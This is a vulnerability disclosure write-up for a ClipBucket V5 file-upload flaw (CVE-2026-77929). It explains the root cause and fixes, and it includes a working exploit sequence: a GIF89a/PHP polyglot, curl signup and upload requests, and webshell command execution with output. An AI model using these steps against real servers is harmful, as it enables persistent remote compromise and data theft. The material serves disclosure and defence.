CVE-2026-77929: From Image Upload to Remote Code Execution in ClipBucket V5
A critical file upload vulnerability in ClipBucket V5 allows any registered user to upload PHP webshells disguised as images, achieving persistent remote code execution on the server.

ClipBucket validates uploaded file content against a whitelist, but saves the file using the original attacker-supplied extension. Upload a GIF89a polyglot named shell.php, and nginx executes it as PHP — persistent RCE from the lowest-privilege account tier.
Introduction
This is one of the most impactful vulnerabilities I've found in ClipBucket V5 — a file upload flaw that grants persistent remote code execution to anyone who can register an account.
By exploiting a mismatch between content validation and filename handling, an attacker can upload a PHP webshell disguised as an image, then execute arbitrary commands as the web server user.
Root Cause
Two Variables, One Mismatch
The vulnerability lies in FileUpload::manageFile() in fileupload.class.php. The function validates file type using one variable but saves the file using a different variable that was never updated:
private function manageFile(): void
{
// Extension from client-supplied filename
$extension = strtolower($this->fileExtension);
<span class="k">if</span> ($this->checkMimeType) {
<span class="c">// Overwritten with content-derived value (LOCAL VARIABLE ONLY)</span>
<span class="ok2">$extension</span> = getExtMimeType($this->tempFilePath);
}
<span class="c">// Whitelist check uses the content-derived value</span>
<span class="k">if</span> (!in_array($extension, $this->allowedExtensions)) {
$this->error(...);
}
<span class="c">// ... later ...</span>
<span class="k">if</span> ($this->keepExtension) {
<span class="c">// Uses ORIGINAL attacker-supplied extension!</span>
$this->destinationFilePath .= '.' . <span class="bad">$this->fileExtension</span>;
}
$moved = move_uploaded_file($this->tempFilePath, $this->destinationFilePath);
}
$this->fileExtension is set from user input ($_FILES['name']) and never reassigned after content validation. The whitelist check validates $extension, but the saved filename uses $this->fileExtension — the original, attacker-controlled value.
The Only Vulnerable Caller
The photo uploader in actions/photo_uploader.php is the only code path that sets both checkMimeType and keepExtension to true:
$params = [
'fileData' => 'Filedata',
'mimeType' => 'image',
'destinationFilePath' => $targetFile,
'keepExtension' => true, // Use client extension
'maxFileSize' => ...,
'allowedExtensions' => Photo::getAllowedPhotoExtension(), // [jpg,jpeg,png,gif]
'checkMimeType' => true // Validate content type
];
FileUpload::getInstance($params)->processUpload();
Why Uploaded PHP Files Execute
The Docker deployment's nginx config doesn't disable PHP execution in the upload directory:
location ~* \.php$ {
fastcgi_pass unix:/run/php/phpPHP_VERSION_PLACEHOLDER-fpm.sock;
# ...
}
location ~* ^(.*/)?files/ {
try_files $uri $uri/ =404;
}
Nginx evaluates regex locations in declaration order, using the first match. Since \.php$ appears before files/, any .php file — even under files/photos/ — routes to PHP-FPM and executes.
Default Permissions Enable This Attack
The photo_uploader.php endpoint requires hasPermission('allow_photo_upload'). Per the installer's default permission seed (cb_install/sql/user_levels.sql), the default "Registered User" role — the self-service signup tier — has this permission enabled by default.
Any self-registered account can exploit this. The attacker doesn't need admin access or special permissions — just a basic account created via public signup.
Discovery Process
- 1Map Uploads
Identified all file upload endpoints
- 2Analyze Validation
Reviewed FileUpload class thoroughly
- 3Find Mismatch
$extension vs $this->fileExtension divergence
- 4Verify Execution
Confirmed nginx routes .php to PHP-FPM
- 5Build PoC
Created GIF89a/PHP polyglot
Exploitation
Prerequisites
- Any registered user account (self-signup is enabled by default)
- No elevated permissions required
- Tested against ClipBucket V5
master@ commitda1a665with default Docker deployment
The enable_chunk_upload setting defaults to yes, which adds a top-level image/* content-type check — but a genuine GIF with appended PHP code satisfies this check.
The GIF89a Polyglot Technique
A polyglot file is valid in multiple formats simultaneously. I created a minimal GIF89a that also contains PHP code — it passes getimagesize() validation while containing executable PHP:
# Minimal valid GIF header followed by PHP payload
printf 'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;' > shell.php
echo '' >> shell.php
Step 1: Authenticate
curl -s -c cookies.txt -X POST "http://target/signup" \
-d "username=attacker&password=Attack123&email=test@test.com"
Step 2: Upload the Polyglot
curl -s -b cookies.txt -X POST \
"http://target/actions/photo_uploader.php?mode=upload" \
-F "Filedata=@shell.php" \
-F "chunk=0" \
-F "chunks=1" \
-F "unique_id=pwned" \
-F "name=shell.php"
{
"success": "yes",
"file_name": "17864443659ca8a6",
"extension": "php",
"file_directory": "2026/08/11"
}
Step 3: Execute Commands
curl "http://target/files/photos/2026/08/11/17864443659ca8a6.php?c=id"
# Response:
GIF89a............RCE_Linux ..._END
uid=1000(containeruser) gid=1000(containeruser) groups=1000(containeruser)
The webshell persists indefinitely and survives even if the uploading account is banned or deleted. One upload = permanent backdoor access.
Impact
This is materially more severe than a typical "requires admin" upload bug. The attacker needs only a self-registered account — the lowest privilege tier, normally open to the public.
From this foothold an attacker can:
- Read
includes/config.php(database credentials) - Pivot to full database compromise
- Modify or deface content
- Deploy ransomware or cryptominers
- Retain the webshell as a durable backdoor that survives account deletion
Read any file accessible to the web server: configs, database credentials, user data.
Modify any file, alter database contents, plant additional backdoors.
Delete files, crash services, deploy ransomware.
CVSS Breakdown
CVSS 4.0 Base Score: 8.7 (High) — per VulnCheck CNA
Vector: AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Remediation
Keep $this->fileExtension in sync with the validated extension after content type detection.
$extension = strtolower($this->fileExtension);
if ($this->checkMimeType) {
$extension = getExtMimeType($this->tempFilePath);
$this->fileExtension = $extension; // CRITICAL: sync the saved extension
}
if (!in_array($extension, $this->allowedExtensions)) {
$this->error(...);
}
Ensure the saved filename uses the content-derived extension.
Add nginx rule: location ^~ /files/ { location ~ \.php$ { return 403; } }
Serve via a streaming script with fixed Content-Type.
Denylist .php, .phtml, .php5, .phar regardless of content.
Check avatar, background, subtitle, and watermark upload paths for the same pattern.
Regression Tests
- Upload valid image with
.phpextension → saved with.gif/.jpg/.png, NOT.php - Request uploaded
.phpfile directly → 403 Forbidden, NOT PHP execution - Response extension matches content type, not original filename
Timeline
- 11 Aug 2026Discovered
Identified extension/content validation mismatch in FileUpload class.
- 11 Aug 2026Reproduced
End-to-end RCE confirmed against Docker deployment @ commit da1a665.
- 15 Sep 2026Reported
Disclosed via GitHub Security Advisory (GHSA draft submitted).
- 21 Sep 2026CVE Assigned
CVE-2026-77929 issued; writeup published.
The Lesson
Never trust that validation happened just because validation code exists. Trace the data flow from input to output — the validated value must be what actually gets used.
This vulnerability is a masterclass in how subtle code flaws create critical security gaps. The developers implemented content validation — getimagesize() checks, MIME type verification, extension whitelisting. From a cursory review, the code looks secure.
But the classic CWE-646 mistake happened: relying on the file extension from an externally-supplied filename instead of the one derived from validated content. One line of code — $this->fileExtension = $extension; — would have prevented this entire vulnerability class.
The 100% repeatability, zero race conditions, and low privilege requirement make this especially dangerous. Combined with the default nginx configuration that executes PHP anywhere, it's a straight path from self-registration to full server compromise.
References
- NVD - CVE-2026-77929
- VulnCheck Advisory
- CWE-434: Unrestricted Upload of File with Dangerous Type
- CWE-646: Reliance on File Name or Extension of Externally-Supplied File
This vulnerability was discovered through ethical security research and responsibly disclosed through GitHub Security Advisories. All exploitation was performed in isolated lab environments.
Adam Nurudini